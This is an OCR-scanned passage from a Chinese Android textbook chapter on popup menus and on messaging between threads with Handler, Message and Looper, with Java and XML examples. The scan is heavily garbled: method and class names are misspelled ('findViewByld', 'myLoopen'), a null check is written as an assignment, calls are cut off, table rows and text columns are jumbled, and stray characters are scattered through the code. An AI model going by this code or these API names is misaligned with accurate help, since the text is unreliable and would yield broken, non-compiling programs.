本 程序 首先 将 所 有 弹出 菜单 所 需要 的 资源 项 和 菜单 项 的 ID 在 程序 中 定义 ， 而 后 又 分 别 定义 
了 3 个 弹出 菜单 的 适配器 对 象 ， 用 于 进行 菜单 项 的 填充 。 
(2) 修改 onCreate0 方 法 ， 增 加 弹出 菜单 项 的 配置 。 
this.popMenu = new PopupMenul(this, this .titlelds, 0x55123456， 
new PopupTitleOnltemClickListenerCallback(), 


new PopupBodyOnltemClickListenerCallback()); /实例 化 组 件 
this.commonAdapter = new PopupMenuBodyAdapter(this, 

this.commonltemlds); // 实 例 化 适配器 
this.setAdapter = new PopupMenuBodyAdapter(this, 

this.setltemlds); /实例 化 适配器 
this.toolAdapter = new PopupMenuBodyAdapter(this, 

this toolltemlds); /实例 化 适配器 
this.popMenu.setPopTitleSelected(0) ; 1/ 默认 选中 的 标题 项 
this.popMenu.setPopmenuBodyAdapter(this.commonAdapter) ; /设置 现实 数据 的 适配器 
this.popMenu.update() ; /更 新 组 件 


在 onCreate() 方 法 中 ,分 别 将 PopupMenu 和 PopupMenuBodyAdapter 的 3 个 对 象 进行 实例 化 ， 
并 且 默 认 选 中 第 一 个 标题 ， 另 外 ， 配 置 好 指定 的 菜单 适配器 对 象 。 
(3) 修改 switchActivity() 方 法 ， 增 加 显示 菜单 项 的 功能 。 
case 3: // 弹 出 窗口 


this.showPopupMenu() ; 
break; 
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本 程序 在 switch 中 增加 了 新 的 选项 ， 此 选项 会 调用 showPopupMenu() 方 法 ， 以 显示 弹出 菜 
单项 。 
(4) 在 MyActivityGroupProjectDemo.java 类 中 增加 新 的 方法 一 一 showPopupMenu()。 
private void showPopupMenu() { 


if (this.isShow) { // 已 经 显示 荣 单 
this.popMenu.dismiss() ; // 隐 藏 菜单 
this.isShow = false ; /修改 标志 位 

} else{ // 未 显示 莱 单 


this.popMenu.showAtLocation( 
MyActivityGroupProjectDemo.this.gridviewToolbar, 


Gravity.BOTTOM, 0,this.height); // 显 示 弹 出 窗口 
this.isShow = true ; /修改 标志 位 


} 
} 
本 方法 主要 用 于 配置 弹出 菜单 的 显示 与 隐藏 ， 并且 在 弹出 菜单 时 指定 弹出 菜单 的 显示 位 置 。 
(5) 增加 菜单 项 事件 处 理 类 一 一 PopupBodyOnItemClickListenerCallback。 
private class PopupBodyOnltemClickListenerCallback implements 
OnltemClickListener { 


@Override 
public void onltemClick(AdapterView<?> parent, View view, int position, 
long id){ 
MyActivityGroupProjectDemo.this.popMenu.setPopBodySelected( 
position, Color GRAY); // 默 认 选 中 菜单 项 
Toast.makeText(MyActivityGroupProjectDemo.this, 
"执行 选项 - " + position, 500).show(); /设置 提示 信息 
} 


} 
本 程序 在 用 户 选中 某 一 个 菜单 项 之 后 触发 ， 并 且 在 选中 之 后 设置 了 菜单 项 的 背景 颜色 ， 以 
与 其 他 菜单 加 以 区 分 。 
(6) 增加 菜单 标题 事件 处 理 类 一 一 PopupTitleOnItemClickListenerCallback。 
private class PopupTitleOnltemClickListenerCallback implements 
OnltemClickListener { 


@Override 
public void onltemClick(AdapterView<?> parent, View view, int position, 
long id){ 
MyActivityGroupProjectDemo.this.popMenu 
.setPopTitleSelected(position); /设置 选中 的 菜单 项 
Switch (position) { 
case 0: /设置 菜单 项 适配器 
MyActivityGroupProjectDemo.this.popMenu 
.SetPopmenuBodyAdapter( 
MyActivityGroupProjectDemo.this.commonAdapter); 
break; 
case 1: /设置 菜单 项 适配器 
MyActivityGroupProjectDemo.this.popMenu 
.setPopmenuBodyAdapter( 
MyActivityGroupProjectDemo.this.setAdapter); 
break; 
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case 2: /设置 菜单 项 适配器 
MyActivityGroupProjectDemo.this.popMenu 
.setPopmenuBodyAdapter( 
MyActivityGroupProjectDemo.this .toolAdapter); 
break; 
} 
则 


} 
本 方法 的 主要 功能 是 在 用 户 选 中 某 一 个 菜单 标题 之 后 ， 设 置 菜 单 中 显示 的 菜单 项 ， 而 最 终 
本 程序 的 运行 效果 与 图 9-29 一 致 。 


95 消息 机 制 


在 Android 操作 系统 中 存在 着 消息 队列 的 操作 , 用 消息 队列 可 以 完成 主线 程 和 子 线程 之 间 的 
消息 传递 ， 要 想 完 成 这 些 线程 的 消息 操作 ， 则 需要 使 用 Looper、Message 和 Handler 类 ,这 3 个 
类 的 关系 如 图 9-31 所 示 。 


图 9-31 3 个 类 的 关系 


从 图 9-31 中 可 以 发 现 ，Looper 本 身 提 供 的 就 是 一 个 消息 队列 的 集合 ， 而 每 个 消息 都 可 以 通 
过 Handler 增加 和 取出 ， 而 操作 Handler 的 对 象 就 是 主线 程 (UI Thread) 和 子 线程 。 


“提示 
关于 Looper、Message 和 Handler 的 另 一 种 解释 。 
如 果 把 Looper 比 喻 成 一 个 正在 排队 买 票 的 队伍 ,那么 每 一 个 排队 的 人 就 是 一 个 Message， 
而 一 个 维护 队伍 的 管理 员 就 相当 于 是 一 个 Handler， 管 理 员 负责 通知 队 外 的 人 进 到 队列 之 中 
等 待 ， 也 负责 通知 队列 中 的 人 离开 队伍 。 


这 3 个 操作 类 都 在 android.os 包 中 定义 , 下面 依 次 讲解 其 具体 作用 ， 并且 通过 实际 的 程序 进 
行 说 明 。 


9.5.1 消息 类 : Message 


android.os.Message 的 主要 功能 是 进行 消息 的 封装 ， 同 时 可 以 指定 消息 的 操作 形式 ，Message 
类 定义 的 变量 及 常用 方法 如 表 9-14 所 示 。 


392 


第 9 章 Android 组 件 通信 


No. 


表 9-14 Message 类 定义 


public Object obj 


用 于 定义 此 Message 属于 何 种 操作 


变量 及 常用 方法 


描述 


用 于 定义 此 Message 传递 的 信息 数据 


public int argl 


传递 一 些 整 型 数据 时 使 用 ， 一 般 很 少 使 


public int arg2 


传递 一 些 整 型 数据 时 使 用 ， 


- 般 很 少 使 用 


9.5.2 


类 所 定义 的 常用 方法 如 表 9-15 所 示 。 
表 9-15 Handler 类 的 常用 操作 方法 


w|i | | 


public Handler getTargetO 


在 Message 类 中 , 使 用 最 多 的 是 what 和 obj 两 个 变量 ,往往 会 通过 
所 携带 的 是 何 种 信息 ， 而 通过 


obj 传递 信息 。 


消息 操作 类 : Handler 


取得 操作 此 消息 的 Handler 对 象 


what 变 量 指明 一 个 Message 


Message 对 象 封 装 了 所 有 的 消息 , 而 这 些 消 息 的 操作 需要 android.os.Handler 类 完成 , Handler 


No. 方 法 类 描 述 
1 public Handler0 构造 创建 一 个 新 的 Handler 实例 
blic Handler(L ) 构造 使 用 指定 的 队列 创建 一 个 新 的 
public Handler(Looper looper Handler 实例 
3 public final Message obtainMessage(int what Object obj 普通 获得 一 个 Message 对 象 
这 public final ise obtainMessage(int what, int arg1, 普通 获得 一 个 Message 对 象 
int arg2, Object obj) 
5 处 理 消息 的 方法 ， 子 类 要 履 写 
5 public void handleMessage(Message msg) 普通 2 . 
此 方法 
6 public final boolean hasMessages(int what) 普通 判断 是 否 有 指定 的 Message 
public final boolean hasMessages(int what, Object 普通 判断 是 否 有 指定 的 Message 
object 
8 | public final void removeMessages(int what) 普通 | 删除 指定 的 Message 
blic final void Mt int what, Object 
可 put ic final void removeMessages(int what, Object 普通 删除 指定 的 Message 
object 
10 ublic final boolean sendEmptyMessage(int what 普通 发 送 一 个 空 消息 
11 public final boskenn OP MSseAr Tn 普通 在 指定 的 日 期 时 间 发 送 消息 
what, long uptimeMillis) 
blic final bool dE Mt Delayed(int Ee 
A 普通 。 | 等 待 指定 的 时 间 之 后 发 送 消息 
What long delayMillis 
13 ublic final boolean sendMessage 普通 发 送 消 息 


也 可 以 从 队列 中 删除 指定 的 Message, 下 面 通过 一 个 具体 的 程 
本 程序 将 完成 一 个 数据 的 自动 增长 操作 ， 每 过 


可 以 发 现 ， 表 9-14 中 所 列 出 的 方法 都 是 用 于 操作 Message 的 ， 可 以 向 队列 中 添加 Message， 


六 来 观察 Handler 与 Message 的 操作 。 
- 秒 之 后 ， 由 主线 程 (UI 线程 ) 向 子 线程 发 
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送 更 新 的 消息 ， 子 线程 根据 指定 的 消息 类 型 进行 操作 。 
【 例 9-45】 定义 布局 管理 器 一 一 main.xml 
<?xml version="1.0" encoding="utf-8"?> 


<LinearLayout /定义 线性 布局 管理 器 
xmlns:android="http:/schemas.android.com/apK/res/android”" 
android:orientation="vertical" /所 有 组 件 垂直 摆 放 
android:layout_width="fill_parent” /此 布局 管理 器 宽度 为 屏幕 宽度 
android:layout_height="fill_parent”> // 此 布局 管理 器 高 度 为 屏幕 高 度 
<TextView // 定 义 文本 显示 组 件 

android:id="@+id/info”" // 组 件 ID， 程 序 中 使 用 

android:layout_width="fill_parent”" // 组 件 宽度 为 屏幕 宽度 

android:layout_height= "wrap_content"/> // 组 件 高 度 为 文字 高 度 
</LinearLayout> 


【 例 9-46】 定义 Activity 程序 ， 通 过 Timer 类 完成 定时 更 新 
package org.Ixh.demo; 
import java.util. Timer; 
import java.util.TimerTask; 
import android.app.Activity; 
import android.os.Bundle; 
import android.os.Handler; 
import android.os.Message; 
import android.widget. TextView; 
public class MyMessageDemo extends Activity { 


private static int count = 0; /定义 全 局 变量 
public static final int SET= 1 ; /设置 一 个 what 标记 
private Handler myHandler = new Handler() { // 定 义 Handler 对 象 
@Override 
public void handleMessage(android.os.Message msg) { // 覆 写 此 方法 
switch (msg.what) { // 判 断 操作 类 型 
case SET: // 为 设置 文本 操作 
MyMessageDemo.this .info.setText("MLDN - "+ count++); 
1 
} 
上 
private TextView info = null; // 文 本 显示 组 件 
@Override 


public void onCreate(Bundle savedInstanceState) { 
super.onCreate(savedInstanceState); 
super.setContentView(R.layout.main); 
this.info = (TextView) super .findViewByld(R.id.info); 


Timer timer = new Timer(); /定义 调度 器 
timer.schedule(new MyTask(), 0, 1000); // 立 即 开始 ， 每 隔 1 秒 增长 
} 
private class MyTask extends TimerTask { // 定 义 定时 调度 的 具体 实现 类 
@Override 
public void run() { // 启 动 线程 
Message msg = new Message(); /定义 Message 
msg.what = SET ; // 操 作为 设置 显示 文字 
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MyMessageDemo.this.myHandler.sendMessage(msg);”// 发 送 消息 到 子 线程 


} 
} 


) 

在 本 程序 中 采用 定时 器 实现 文本 的 显示 更 新 ， 在 MyTask 类 中 的 run() 方 法 里 ， 通 过 定义 的 
Handler 对 象 发 送 要 传递 的 消息 ， 此 处 发 送 的 只 是 一 
个 what， 主 要 目的 是 告诉 Handler 消息 的 处 理 类 型 ， 
而 Handler 对 象 接收 消息 之 后 ,将 修改 全 局 变量 count 。” 国 也 名 
的 内 容 ， 并 将 更 新 后 的 文本 设置 到 文本 显示 组 件 中 ， 
程序 的 运行 效果 如 图 9-32 所 示 。 图 9-32 ”自动 更 新 文本 


WW 5554:Android_2.3 


9.5.3 消息 通道 : Looper 


在 使 用 Handler 处 理 Message 时 ,都 需要 依靠 一 个 Looper 通道 完成 , 当 用 户 取得 一 个 Handler 
对 象 时 ， 实 际 上 都 是 通过 Looper 完成 的 。 在 一 个 Activity 类 中 ， 会 自动 帮助 用 户 启 动 Looper 对 
象 ， 而 若是 在 一 个 用 户 自 定义 的 类 中 ， 则 需要 用 户 手 工 调用 Looper 类 中 的 若干 方法 ， 之 后 才 可 
以 正常 启动 Looper 对 象 。Looper 类 的 常用 方法 如 表 9-16 所 示 。 

表 9-16 Looper 类 的 常用 方法 
, 方法 名 称 描述 
取得 主线 各 
public static final Looper myLooperO | 普通 | 返回 当前 的 线程 

初始 化 Looper 对 象 


相 


0g |0g 


总 | 多 


public static final void prepareO) 


public static final void prepareMainLooperO 初始 化 主线 程 Looper 对 象 


路 
沪 


消息 队列 结束 时 调用 
启动 消息 队列 


因为 Looper 的 使 用 较为 复杂 ， 所 以 下 面 先 通 过 一 个 简单 的 程序 ， 观 察 Looper 与 Handler 和 
Message 之 间 的 关系 。 
【 例 9-47】 定义 布局 文件 main.xml 
<?xml version="1.0" encoding="utf-8"?> 


ng 


<LinearLayout // 定 义 线性 布局 管理 器 
xmlins:android="http:/schemas.android.com/apk/res/android" 
android:orientation="Vertica/" /所 有 组 件 垂直 摆 放 
android:layout_width="fill_parent” // 此 布局 管理 器 宽度 为 屏幕 宽度 
android:layout_height="fill_parent”> // 此 布局 管理 器 高 度 为 屏幕 高 度 
<TextView // 文 本 显示 组 件 

android:id="@+id/info”" // 组 件 iD， 程序 中 使 用 
android:layout_width="fil_parent” // 组 件 宽度 为 屏幕 宽度 
android:layout_height="wrap_content” /> // 组 件 高 度 为 屏幕 高 度 
<Button /定义 按钮 
android:id="@+id/but” // 组 件 ID， 程 序 中 使 用 
android:layout_width="fil_parent” // 组 件 宽度 为 屏幕 宽度 
android:layout_height="wrap_content” // 组 件 高 度 为 文字 高 度 
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android:text=" 启 动 " /> 
</LinearLayout> 


在 此 布局 文件 中 ， 只 定义 了 


-个 文本 显示 组 件 和 一 个 按钮 ， 当 用 户 


/默认 显示 文字 


单 


击 事件 ， 将 Message 发 送 到 Handler 中 处 理 ， 并 在 文本 显示 组 件 中 显示 接收 到 的 信息 。 
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【 例 9-48】 定义 Activity 程序 ， 完 成 处 理 
package org.Ixh.demo; 
import android.app.Activity; 
import android.os.Bundle; 
import android.os.Handler; 
import android.os.Looper; 
import android.os.Message; 
import android.view.View; 
import android.view.View.OnClickListener 
import android.widget.Button; 
import android.widget. TextView; 
public class MyLoopDemo extends Activity { 
private TextView info; 
private Button but; 
private static final int SET= 1; 
@Override 
public void onCreate(Bundle savedInstanceState) { 
super.onCreate(savedInstanceState); 
super.setContentView(R.layout.main); 
this.info = (TextView) super .findViewByld(R.id.info); 


this.but = (Button) super.findViewByld(R.id.bub); 
this.but.setOnClickListener(new OncClickListenerlmpl()); 

} 

private class OnClickListenerImpl implements OnClickListener { 


@Override 
public void onClick(View view) { 
switch (view.getld()) { 
case R.id.but: 
Looper looper = Looper.myLoopen(); 
MyHandler myHandler = new MyHandler(looper); 
myHandlerremoveMessages(0) ; 
String data = " 魔 乐 科技 软件 学 院 (MLDN)"; 
Message msg = myHandler.obtainMessage(SET, 1, 
myHandler.sendMessage(msg); 
break; 


} 
} 
private class MyHandler extends Handler { 
public MyHandler(Looper looper) { 
Super(looper); 
} 
@Override 
public void handleMessage(Message msg) { 
switch (msg.what) { 
case 1: 


// 定 义 文本 显示 组 件 
// 定 义 按钮 组 件 
/what 操作 码 


// 调 用 布局 文件 
/取得 组 件 
// 取 得 组 件 
/设置 单 击 事件 


// 判 断 操 作 的 组 件 ID 
// 表 示 按 钮 操作 

// 取 得 当前 的 线程 
/构造 一 个 Handler 
// 清 空 所 有 的 消息 队列 
/设置 要 发 送 的 数据 
1, data); 

// 发 送 消息 


/接收 Looper 
// 调 用 父 类 构造 


// 处 理 消息 
// 判 断 操 作 形 式 


击 按钮 之 后 会 触发 单 
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MyLoopDemo.this.info.setText(msg.objtoString()); /设置 文本 内 容 


} 
} 


bE 
在 本 程序 的 按钮 单 击 事件 中 ， 首 先 通过 LoopermyLooper() 方 法 取得 当前 的 线程 对 象 ， 随 后 将 
此 Looper 对 象 与 Handler 对 象 连接 起 来 ， 并 进行 消息 的 发 送 ， 本 程序 的 运行 效果 如 图 9-33 所 示 。 


图 9-33 ”Looper 操作 


NC 说明 
提问 : 以 上 代码 不 使 用 Looper 也 可 以 完成 ? 
9.5.2 节 的 程序 中 直接 使 用 Handler 和 Message 也 可 以 完成 消息 的 发 送 , 而 且 通 过 本 节 的 
代码 ， 也 无 法 发 现 Looper 的 作用 ， 如 果 现 在 将 代码 修改 如 下 : 
【 例 9-49】 修改 MyHandler 类 的 定义 
private class MyHandler extends Handler { 
@Override 
public void handleMessage(Message msg) { // 处 理 消息 
switch (msg.what) { // 判 断 操作 形式 
case 1: 
MyLoopDemo.this.info.setText(msg.obj.toString()); 
} 


} 


} 
【 例 9-50】 修改 按钮 单 击 事件 操作 
public void onClick(View v) { 
Switch (v.getld()) { 
case R.id.but: 
MyHandler myHandler = new MyHandler(); 
myHandler.removeMessages(0); 
String data = " 魔 乐 科技 软件 学 院 (MLDN)"; 
Message msg = myHandler.obtainMessage(SET, 1, 1, data); 
myHandler.sendMessage(msg); 
break; 
} 
} 
程序 运行 之 后 也 可 以 发 送 消 息 ， 那 为 什么 还 要 使 用 Looper 呢 ? 这 样 是 不 是 太 麻 烦 了 。 
回答 : 所 修改 的 代码 为 简便 写法 。 
因为 现在 是 由 Activity 直接 发 送 消息 的 ， 所 以 在 Handler 的 子 类 中 会 自动 帮助 用 户 创建 
好 要 操作 的 Looper 对 象 , 而 在 例 9-49 中 所 编写 的 代码 只 是 将 Looper 类 的 对 象 的 操作 流程 纺 
写 清楚 ， 但 从 实际 来 讲 效 果 都 是 一 样 的 。 如 果 要 想 更 清楚 地 理解 Looper 的 处 理 ， 则 可 以 继 
续 研究 下 面 的 程序 。 
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之 前 的 程序 都 是 由 系统 为 用 户 提供 的 Looper 对 和 象 完 成 操作 ， 如 果 上 
的 线程 类 ， 就 要 由 用 户 自己 进行 Looper 对 象 的 维护 操作 了 。 下 面 通 过 程序 演示 如 何在 自 定义 的 


线程 类 中 启动 Looper。 
下 面 的 程序 将 定义 两 个 类 : 


的 信息 将 采用 系统 输出 方式 显示 。 


【 例 9-51】 定义 布局 管理 器 一 一 main.xml 
<?xml version="1.0" encoding="utf-8"?> 


<LinearLayout 


-个 是 主线 程 的 操作 类 MyThreadDemo; 
内 部 类 ChildThread， 所 有 主线 程 接收 到 的 信息 都 将 在 文本 框 中 进行 显示 ， 而 所 有 子 进程 接收 到 


// 线 性 布局 管理 器 


xmlIns:android="http:/schemas.android.com/apK/res/android”" 


android:orientation="Vertical" 
android:layout_width="fill_parent”" 
android:layout_height="fill_parent"> 
<TextView 


android:layout_width="fill_parent” 
android:layout_height="wrap_content” 


android:id="@+id/msg" 


android:text= "等 余 克 绪 枉 发 美洲 评 。 > 


<Button 


android:layout_width="fill_parent” 
android:layout_height="wrap_content” 


android:id="@+id/but" 
android:text=" 交 互 /> 
</LinearLayout> 


本 布局 管理 器 中 定义 了 文本 显示 组 件 ， 用 于 显示 主线 程 接 收 到 的 信息 ， 当 单 击 按钮 时 ， 


线程 将 向 子 线程 中 发 


消息 。 


/所 有 组 件 垂直 摆 放 

// 布 局 管理 器 宽度 为 屏幕 宽度 
// 布 局 管理 器 高 度 为 屏幕 高 度 
/文本 显示 组 件 

/组 件 宽度 为 屏幕 宽度 

/组 件 高 度 为 文字 高 度 

// 组 件 ID， 程 序 中 使 用 

// 默 认 显示 文字 

// 按 钮 组 件 

// 组 件 宽度 为 屏幕 宽度 

// 组 件 高 度 为 文字 高 度 

// 组 件 ID， 程 序 中 使 用 

// 默 认 显示 文字 


【 例 9-52】 定义 Activity 操作 类 (程序 代码 采用 分 段 列 出 形式 进行 解释 ) 


package org.lxh.demo; 
import android.app.Activity; 
import android.os.Bundle; 
import android.os.Handler; 
import android.os.Looper; 
import android.os.Message; 
import android.view.View; 


import android.view.View.OnClickListener; 


import android.widget.Button; 
import android.widget. TextView; 


public class MyThreadDemo extends Activity { 
public static final int SETMAIN = 1; 
public static final int SETCHILD = 2; 
private Handler mainHandler, childHandler; 


private TextView msg; 
private Button but; 


在 本 程序 中 最 重要 的 定义 就 是 两 个 Handler 对 象 : 


// 设 置 一 个 what 标记 
// 设 置 一 个 what 标记 
/定义 Handler 对 象 
/文本 显示 组 件 
/按钮 组 件 


-个 表示 主线 程 中 操作 的 Handler 


(mainHandler) ; 另外 一 个 表示 子 线程 操作 的 Handler (childHandler) 。 


class ChildThread implements Runnable { 


@Override 
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// 子 线程 类 


户 使 用 的 是 一 个 自 定义 


-个 是 子 线程 操作 的 


主 
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public void run(){ 
Looper.prepare(); /初始化 Looper 
MyThreadDemo.this.childHandler = new Handler() { 
public void handleMessage(Message msg) { 


switch (msg.what) { 1/ 判断 what 操作 
case SETCHILD: // 主 线程 发 送 给 子 线 程 的 信息 
System.out.printin("*** Main Child Message : " 
+ msg.obj); // 打 印 消息 
Message toMain = MyThreadDemo.this.mainHandler 
.ObtainMessage!(); /| 创建 Message 


toMain.obj = "\n\n[B] 这 是 子 线程 发 给 主线 程 的 信息 : " 
+Super.getLooper().getThread() 


getName(); /设置 显示 文字 
toMain.what = SETMAIN; // 设 置 主线 程 操作 的 状态 码 
MyThreadDemo.this.mainHandler.sendMessage(toMain); // 发 送 消息 
break; 
) 
呈 
Looper./oop(); /启动 该 线程 的 消息 队列 


} 


1 

本 程序 是 一 个 自 定义 的 线程 类 ， 此 类 实现 了 Runnable 接口 ， 并 且 在 rn(0) 方 法 中 ， 采用 匿名 
内 部 类 的 形式 实例 化 了 childHandler 类 的 对 象 。 在 handleMessage() 方 法 中 进行 消息 处 理 时 ， 首先 
判断 消息 的 类 型 (如 果 为 SETCHILD， 则 表示 由 主线 程 发 消息 给 子 线程 》， 之 后 将 此 消息 进行 
输出 ,随后 又 使 用 mainHandler 向 主线 程 发 送 一 个 消息 。 在 本 段 程 序 中 , 最 重要 的 部 分 就 是 Looper 
对 象 操 作 的 prepare() 和 loop() 方 法 ， 如 果 没 有 这 两 个 方法 ， 将 无 法 通过 子 线程 创建 Looper， 也 就 
无 法 由 子 线程 发 送 消息 给 主线 程 。 

@Override 

public void onCreate(Bundle savedInstanceState) { 

Super.onCreate(savedlnstanceState); 


super.setContentView(R.layout.main); // 调 用 布局 文件 
this.msg = (TextView) super .findViewByld(R.id.msg); // 取 得 组 件 
this.but = (Button) super.findViewByld(R_.id.bub; // 取 得 按钮 
this.mainHandler = new Handler() { // 主 线程 的 Handler 对 象 
public void handleMessage(Message msg) { 1/ 消息 处 理 
switch (msg.what) { // 判 断 Message 类 型 
case SETMAIN: // 设 置 主线 程 的 操作 类 
MyThreadDemo .this.msg.setText(" 主 线程 接收 数据 : " 
+ msg.obj.toString()); // 设 置 文本 内 容 
break; 
} 
} 
下 
new Thread(new ChildThread(), "Child Thread").start(); /启动 子 线程 
this.but.setOnClickListener(new OnClickListenerlImpl()) ; // 单 击 事件 操作 
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private class OnClickListenerImpl implements OnClickListener { 


@Override 
public void onClick(View view) { 
if (MyThreadDemo.this.childHandler = null) { // 已 实例 化 子 线程 Handler 
Message childMsg = MyThreadDemo.this.childHandler 
-obtainMessage(); 1/ 创建 一 个 消息 
childMsg.obj = MyThreadDemo.this.mainHandler.getLooper() 
.getThread().getName() 
+"--> Hello MLDN ."; // 设 置 消息 内 容 
childMsg.what = SETCHILD; // 操 作 码 


MyThreadDemo.this.childHandler.sendMessage(childMsg); // 向 子 线程 发 送 


} 

} 

在 本 程序 中 ,首先 为 mainHandler 对 象 进行 实例 化 , 采用 匿名 内 部 类 的 形式 并 禾 写 了 类 中 的 
handleMessage() 方 法 ， 这 样 当主 线程 接收 到 消息 时 ,将 在 文本 显示 组 件 中 进行 显示 ， 而 后 启动 自 
定义 的 线程 类 。 而 按钮 单 击 事件 中 的 代码 ， 主 要 是 主线 程 向 子 线程 发 送 的 消息 操作 。 

@Override 
protected void onDestroy() { 
super.onDestroy(); 
MyThreadDemo.this.childHandler.getLooper().quit(); /结束 队列 
b 

} 

本 程序 是 当 销毁 Activity 程序 时 ， 同 时 结束 操作 的 队列 。 

由 于 整个 程序 操作 较为 复杂 ， 下 面 通过 图 9-34 进行 详细 说 明 。 


主线 程 发 给 子 线程 : childMsg.obj= MyThreadDemo.this.mainHandler 
.getLooper().getThread().getNamel) 
+" -> Hello MLDN ."; 


childMsg.what=SETCHILD 


主线 程 子 线程 
(UI 线 程 ) (hildThread) 


toMain.what=SETMAIN 


子 线程 发 给 主线 得 : “toMain.obj="\n\n[B] 这 是 子 线程 发 给 主线 程 的 信息 :“" 
+suUper.getLooper().getThread().getName(); 


图 9-34 主线 程 和 子 线程 问 的 操作 


通过 图 9-34 可 以 发 现 ， 当 主线 程 要 发 消息 给 子 线程 时 ， 首 先 需 要 设置 一 个 what 的 内 容 (此 
时 为 SETCHILD) ， 之 后 使 用 子 线程 的 Handler 对 象 childHandler) 发 送 消息 ， 当 子 线程 操作 
时 ， 首 先 将 what 的 内 容 设置 为 SETMAIN， 而 后 采用 主线 程 的 Handler 对 象 (mainHandler) 发 
送 消息 。 当 子 线程 接收 到 主线 程 发 送 来 的 消息 后 ， 将 通过 System.out 进行 输出 操作 ， 输 出 信息 
如 下 : 

03-07 11:12:16.491: INFO/System.out(309): *** Main Child Message : main --> Hello MLDN . 

当主 线程 收 到 子 线程 发 送 来 的 消息 后 , 将 在 文本 显示 组 件 中 显示 文字 , 接收 的 效果 如 图 9-35 
所 示 。 
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大 


图 9-35 在 主线 程 中 接收 子 线程 的 消息 


NA 由 


提问 : 为 什么 子 线程 接收 到 的 信息 只 能 通过 后 台 输 出 ? 

在 上 面 的 程序 中 ， 当 子 线程 接收 到 主线 程 发 来 的 信息 之 后 ， 为 什么 不 直接 在 文本 显示 组 
件 (msg) 中 显示 ， 如 下 面 代码 操作 一 样 : 

case SETCHILD: // 主 线程 发 送 给 子 线程 的 信息 


MyThreadDemo.this.msg.setText(" 主 线程 第 一 次 发 送 给 子 线程 数据 : "+ msg.obj.toString()); 
// 设 置 文本 内 容 


这 样 看 起 来 不 是 更 方便 吗 ? 

回答 : 子 线程 不 能 更 新 主线 程 的 UI 组 件 。 

主线 程 操 作 的 是 UI 线程 ， 可 以 直接 进行 UI 组 件 的 更 新 操作 ， 文 本 组 件 就 是 一 个 UI 组 
如 果 现 在 非 要 执行 以 上 操作 代码 ， 则 将 会 出 现 如 下 错误 信息 : 


android.view.ViewRoot$CalledFromWrongThreadException: Only the original thread that 
created a view hierarchy can touch its views. 


所 以 非 主线 程 ( 子 线程 ) 是 不 能 刷新 主线 程 界面 的 ， 正 因为 如 此 ， 才 使 用 在 子 线程 中 直 
接 输出 的 形式 完成 主线 程 接收 数据 的 显示 。 

而 如 果 用 户 非 要 解决 以 上 问题 ， 可 以 让 子 线程 和 主线 程 使 用 同一 个 Handler 对 象 完成 ， 
这 一 点 可 以 在 随后 的 进度 条 组 件 (ProgressBar ) 中 看 到 如 何 使 用 。 


件 


9.5.4 ”时 钟 显 示 


清楚 了 主线 程 和 子 线程 之 间 的 关系 之 后 ， 下 面 再 通过 一 个 实例 来 进一步 理解 线程 间 的 操作 
问题 。 在 第 7 章 中 曾经 学 习 过 AnalogClock 组 件 , 该 组 件 只 显示 一 个 基本 的 时 钟 图 ,为 了 让 时 间 
显示 得 更 加 清晰 ， 本 程序 要 为 其 配置 一 个 文本 显示 组 件 ， 显 示 当 前 日 期 和 时 间 。 

【 例 9-53】 定义 布局 文件 一 main xml 


<?xml version="1.0" encoding="utf-8"?> 


<LinearLayout // 线 性 布局 管理 器 
xmlns:android="http:/schemas.android.com/apK/res/android" 
android:orientation="vertical” /所 有 组 件 垂 直 摆 放 
android:layout_width="fill_parent” // 布 局 管理 器 宽度 为 屏幕 宽度 
android:layout_height="fill_parent”> // 布 局 管理 器 高 度 为 屏幕 高 度 
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<AnalogClock // 定 义 时 钟 组 件 
android:id="@+id/myAnalogClock” // 组 件 ID， 程 序 中 使 用 
android:layout_width="wrap_content” /| 组件 宽度 为 显示 宽度 
android:layout_height="wrap_content” /> 1/ 组 件 高 度 为 显示 高 度 

<TextView // 定 义 文本 显示 组 件 
android:id="@+id/info”" // 组 件 ID， 程 序 中 使 用 
android:layout_width="fill_parent” // 组 件 宽度 为 屏幕 宽度 
android:layout_height= "wrap_content"/> // 组 件 高 度 为 文字 高 度 

</LinearLayout> 


【 例 9-54】 定义 Activity 程序 ， 进 行 操作 
package org.Ixh.demo; 
import java.text.SimpleDateFormat; 
import java.util.Date; 
import android.app.Activity; 
import android.os.Bundle; 
import android.os.Handler; 
import android.os.Message; 
import android.widget. TextView; 
public class MyAnalogClockThreadDemo extends Activity { 


private TextView info = null; // 文 本 显示 组 件 
private static final int SET = 1; // 线 程 标记 
private Handler handler = new Handler() { // 定 义 Handler 对 象 
@Override 
public void handleMessage(Message msg) { 
Switch (msg.what) { 
case SET: // 判 断 标志 位 
MyAnalogClockThreadDemo.this.info.setText(" 当 前 时 间 为 :" 
+ msg.obj.toString()); // 设 置 显 示 信息 
break; 
} 
} 
上 
private class ClockThread implements Runnable { /显示 时 间 的 线程 类 
@Override 
public void run() { // 覆 写 run() 方 法 
while (true){ // 持 续 更 新 
try{ 


Message msg = MyAnalogClockThreadDemo.this.handler 
.ObtainMessage(MyAnalogClockThreadDemo.SET, 
new SimpleDateFormat("yyyy-MM-dd HH:mm:ss") 
.format(new Date())); /实例 化 Message 
MyAnalogClockThreadDemo this.handlersendMessage(msg);// 发 送 消息 
Thread.sleep(1000); /延迟 1 秒 
} catch (Exception e){ 
} 


第 9 章 Android 组 件 通信 


} 

@Override 

public void onCreate(Bundle savedInstanceState) { 
super.onCreate(savedInstanceState); 


super.setContentView(R.layout.main); // 调 用 布局 文件 
this.info = (TextView) super findViewByld(R.id.info); // 取 得 组 件 
new Thread(new ClockThread()).start(); // 启 动 线程 


} 
} 
本 程序 在 子 线 程 (ClockThread) 中 取得 当前 的 系统 时 间 ， 并 将 此 信息 通过 Message 对 象 发 
送 给 Handler 进行 处 理 , 而 当 Handler 对 象 接收 到 此 消息 之 后 , 对 文本 显示 组 件 的 文字 进行 更 新 ， 
程序 的 运行 效果 如 图 9-36 所 示 。 


让 提示 

SimpleDateFormat 在 《名 师 讲坛 一 一 Java 开发 实战 经 典 》 一 书 中 有 所 讲解 。 

本 程序 为 了 方便 取得 时 间 , 直接 使 用 SimpleDateFormat 类 将 java.util.Date 进行 显示 格式 
的 转换 ， 如 果 对 此 不 清楚 ， 可 以 参考 《名 师 讲坛 一 一 Java 开发 实战 经 典 》 第 11 章 的 内 容 。 


EI 
叫 | 内 10:48 


图 9-36 同步 显示 时 间 
9.5.5 进度 条 组 件 : ProgressBar 


